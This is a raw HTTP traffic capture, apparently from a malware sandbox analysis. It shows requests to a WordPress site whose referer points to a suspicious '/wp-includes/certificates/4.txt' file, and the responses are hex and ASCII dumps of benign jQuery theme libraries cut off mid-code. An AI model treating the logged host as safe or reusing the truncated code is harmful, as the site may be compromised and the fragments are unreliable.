6e 74 20 74 68 61 74 20 73 75 70 70 6f 72 74 73 20 65 76 65 6e 74 2d 64 65 6c 65 67 61 74 69 6f 6e 2c 20 73 75 63 68 20 61 73 20 74 68 69 73 20 6f 6e 65 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 6f 65 6c 64 62 69 72 63 68 2f 6f 6e 48 6f 76 65 72 49 6e 74 65 6e 74 22 29 3b 63 3d 63 2e 63 6c 6f 73 65 73 74 28 22 2e 22 2b 65 2e 6d 65 6e 75 43 6c 61 73 73 29 5b 30 5d 3b 64 2e 6f 70 3d 64 2e 6f 5b 63 2e 73 65 72 69 61 6c 5d 3b 72 65 74 75 72 6e 20 63 7d 2c Data Ascii: (function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> »</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type\|\|"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type\|\|"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},
Aug 16, 2022 11:45:10.500351906 CEST	4488	OUT	GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:10.731091976 CEST	4502	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:50 GMT Server: Apache ETag: "a53545-81a-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 2074 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588074 14780925 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 20 2a 20 6a 51 75 65 72 79 20 4d 6f 62 69 6c 65 20 4d 65 6e 75 0a 20 2a 20 54 75 72 6e 20 75 6e 6f 72 64 65 72 65 64 20 6c 69 73 74 20 6d 65 6e 75 20 69 6e 74 6f 20 64 72 6f 70 64 6f 77 6e 20 73 65 6c 65 63 74 20 6d 65 6e 75 0a 20 2a 20 76 65 72 73 69 6f 6e 20 31 2e 30 28 33 31 2d 4f 43 54 2d 32 30 31 31 29 0a 20 2a 0a 20 2a 20 42 75 69 6c 74 20 6f 6e 20 74 6f 70 20 6f 66 20 74 68 65 20 6a 51 75 65 72 79 20 6c 69 62 72 61 72 79 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 44 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6d 61 6d 62 6f 77 73 2f 6d 6f 62 69 6c 65 6d 65 6e 75 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 6d 6f 62 69 6c 65 4d 65 6e 75 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 20 7b 0a 09 09 76 61 72 20 64 65 66 61 75 6c 74 73 20 3d 20 7b 0a 09 09 09 09 64 65 66 61 75 6c 74 54 65 78 74 3a 20 27 4e 61 76 69 67 61 74 65 20 74 6f 2e 2e 2e 27 2c 0a 09 09 09 09 63 6c 61 73 73 4e 61 6d 65 3a 20 27 73 65 6c 65 63 74 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 43 6c 61 73 73 3a 20 27 73 75 62 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 44 61 73 68 3a 20 27 26 6e 64 61 73 68 3b 27 0a 09 09 09 09 7d 2c 0a 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 64 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 20 29 2c 0a 09 09 09 65 6c 20 3d 20 24 28 74 68 69 73 29 3b 0a 0a 09 09 24 28 22 68 65 61 64 22 29 2e 61 70 70 65 6e 64 28 27 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 7b 2e 73 66 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 20 2e 73 65 6c 65 63 74 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 7d 7d 3c 2f 73 74 79 6c 65 3e 27 29 0a 0a 09 09 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 2f 2f 20 61 64 20 63 6c 61 73 73 20 74 6f 20 73 75 62 6d 65 6e 75 20 6c 69 73 74 0a 09 09 09 65 6c 2e 66 69 6e 64 28 27 75 6c 27 29 2e 61 64 64 43 6c 61 73 73 28 73 65 74 74 69 6e 67 73 2e 73 75 62 4d 65 6e 75 43 6c 61 73 73 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 62 61 73 65 20 6d 65 6e 75 0a 09 09 09 24 28 27 3c 73 65 6c 65 63 74 20 2f 3e 27 2c 7b 27 63 6c 61 73 73 27 3a 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 7d 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 65 6c 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 64 65 66 61 75 6c 74 20 6f 70 74 69 6f 6e 0a 09 09 09 24 28 27 3c 6f 70 74 69 6f 6e 20 2f 3e 27 2c 20 7b 22 76 61 6c 75 65 22 3a 27 23 27 2c 20 22 74 65 78 74 22 3a 73 65 74 74 69 6e 67 73 2e 64 65 66 61 75 6c 74 54 65 78 74 7d 29 2e 61 70 70 65 6e 64 54 6f 28 20 27 2e 27 20 2b 20 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 20 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 Data Ascii: /** * jQuery Mobile Menu * Turn unordered list menu into dropdown select menu * version 1.0(31-OCT-2011) * * Built on top of the jQuery library * http://jquery.com * * Documentation * http://github.com/mambows/mobilemenu */(function($){$.fn.mobileMenu = function(options) {var defaults = {defaultText: 'Navigate to...',className: 'select-menu',subMenuClass: 'sub-menu',subMenuDash: '–'},settings = $.extend( defaults, options ),el = $(this);$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')this.each(function(){// ad class to submenu listel.find('ul').addClass(settings.subMenuClass);// Create base menu$('<select />',{'class':settings.className}).insertAfter(el);// Create default option$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );// Create
Aug 16, 2022 11:45:10.735605001 CEST	4504	OUT	GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:10.964957952 CEST	4543	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:04 GMT Server: Apache ETag: "a534c0-228c-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 8844 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588076 21588063 Age: 6 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 50 6c 61 79 6c 69 73 74 20 4f 62 6a 65 63 74 20 66 6f 72 20 74 68 65 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 33 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 61 6e 64 20 47 50 4c 20 6c 69 63 65 6e 73 65 73 2e 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 63 6f 70 79 6c 65 66 74 2f 67 70 6c 2e 68 74 6d 6c 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 33 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 30 74 68 20 41 70 72 69 6c 20 32 30 31 33 0a 20 2a 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 0a 20 2a 20 20 2d 20 6a 51 75 65 72 79 20 31 2e 37 2e 30 2b 0a 20 2a 20 20 2d 20 6a 50 6c 61 79 65 72 20 32 2e 33 2e 30 2b 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 6a 50 6c 61 79 65 72 50 6c 61 79 6c 69 73 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 3d 30 3b 74 68 69 73 2e 72 65 6d 6f 76 69 6e 67 3d 74 68 69 73 2e 73 68 75 66 66 6c 65 64 3d 74 68 69 73 2e 6c 6f 6f 70 3d 21 31 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 3d 62 2e 65 78 74 65 6e 64 28 7b 7d 2c 74 68 69 73 2e 5f 63 73 73 53 65 6c 65 63 74 6f 72 2c 61 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 6b 65 79 42 69 6e 64 69 6e 67 73 3a 7b 6e 65 78 74 3a 7b 6b 65 79 3a 33 39 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 6e 65 78 74 28 29 7d 7d 2c 70 72 65 76 69 6f 75 73 3a 7b 6b 65 79 3a 33 37 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 72 65 76 69 6f 75 73 28 29 7d 7d 7d 7d 2c 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2c 64 29 3b 74 68 69 73 2e 70 6c 61 79 6c 69 73 74 3d 5b 5d 3b 74 68 69 73 2e 6f 72 69 67 69 6e 61 6c 3d 5b 5d 3b 74 68 69 73 2e 5f 69 6e 69 74 50 6c 61 79 6c 69 73 74 28 63 29 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 74 69 74 6c 65 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 74 69 74 6c 65 22 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 70 6c 61 79 6c 69 73 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 70 6c 61 79 6c 69 73 74 22 3b 0a 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 6e 65 78 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f Data Ascii: /* * Playlist Object for the jPlayer Plugin * http://www.jplayer.org * * Copyright (c) 2009 - 2013 Happyworm Ltd * Dual licensed under the MIT and GPL licenses. * - http://www.opensource.org/licenses/mit-license.php * - http://www.gnu.org/copyleft/gpl.html * * Author: Mark J Panaghiston * Version: 2.3.0 * Date: 20th April 2013 * * Requires: * - jQuery 1.7.0+ * - jPlayer 2.3.0+ */(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";this.cssSelector.next=this.cssSelector.cssSelectorAncesto
Aug 16, 2022 11:45:10.977639914 CEST	4552	OUT	GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:11.207304001 CEST	4586	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:51 GMT Server: Apache ETag: "a53516-d453-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 54355 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588077 21929806 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 20 66 6f 72 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 34 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 36 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 6e 64 20 41 70 72 69 6c 20 32 30 31 34 0a 20 2a 2f 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 29 3a 62 2e 6a 51 75 65 72 79 3f 66 28 62 2e 6a 51 75 65 72 79 29 3a 66 28 62 2e 5a 65 70 74 6f 29 7d 29 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 62 2e 66 6e 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2c 64 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 74 68 69 73 3b 61 3d 21 63 26 26 64 2e 6c 65 6e 67 74 68 3f 62 2e 65 78 74 65 6e 64 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 5b 21 30 2c 61 5d 2e 63 6f 6e 63 61 74 28 64 29 29 3a 61 3b 69 66 28 63 26 26 22 5f 22 3d 3d 3d 61 2e 63 68 61 72 41 74 28 30 29 29 72 65 74 75 72 6e 20 65 3b 63 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 2c 68 3d 63 26 26 62 2e 69 73 46 75 6e 63 74 69 6f 6e 28 63 5b 61 5d 29 3f 63 5b 61 5d 2e 61 70 70 6c 79 28 63 2c 64 29 3a 63 3b 69 66 28 68 21 3d 3d 63 26 26 68 21 3d 3d 66 29 72 65 74 75 72 6e 20 65 3d 68 2c 21 31 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 3b 63 3f 63 2e 6f 70 74 69 6f 6e 28 61 7c 7c 0a 7b 7d 29 3a 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 2c 6e 65 77 20 62 2e 6a 50 6c 61 79 65 72 28 61 2c 74 68 69 73 29 29 7d 29 3b 72 65 74 75 72 6e 20 65 7d 3b 62 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 62 28 63 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 7d 2c 74 68 69 73 2e 6f 70 74 Data Ascii: /* * jPlayer Plugin for jQuery JavaScript Library * http://www.jplayer.org * * Copyright (c) 2009 - 2014 Happyworm Ltd * Licensed under the MIT license. * http://opensource.org/licenses/MIT * * Author: Mark J Panaghiston * Version: 2.6.0 * Date: 2nd April 2014 */(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a\|\|{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.opt
Aug 16, 2022 11:45:11.230242968 CEST	4644	OUT	GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:11.459774017 CEST	4669	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:51 GMT Server: Apache ETag: "a534b6-ada-58592d488ae40" Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT Content-Length: 2778 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588079 21929808 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69 Data Ascii: /! device.js 0.1.58 /(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},devi
Aug 16, 2022 11:45:11.472434044 CEST	4672	OUT	GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:11.702080965 CEST	4705	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:51 GMT Server: Apache ETag: "a534af-99ea-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 39402 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588081 14780933 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 43 61 6d 65 72 61 20 73 6c 69 64 65 73 68 6f 77 20 76 31 2e 33 2e 34 20 2d 20 61 20 6a 51 75 65 72 79 20 73 6c 69 64 65 73 68 6f 77 20 77 69 74 68 20 6d 61 6e 79 20 65 66 66 65 63 74 73 2c 20 74 72 61 6e 73 69 74 69 6f 6e 73 2c 20 65 61 73 79 20 74 6f 20 63 75 73 74 6f 6d 69 7a 65 2c 20 75 73 69 6e 67 20 63 61 6e 76 61 73 20 61 6e 64 20 6d 6f 62 69 6c 65 20 72 65 61 64 79 2c 20 62 61 73 65 64 20 6f 6e 20 6a 51 75 65 72 79 20 31 2e 34 2b 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 62 79 20 4d 61 6e 75 65 6c 20 4d 61 73 69 61 20 2d 20 77 77 77 2e 70 69 78 65 64 65 6c 69 63 2e 63 6f 6d 0a 2f 2f 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 63 61 6d 65 72 61 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 41 6e 64 72 6f 69 64 2f 69 29 7c 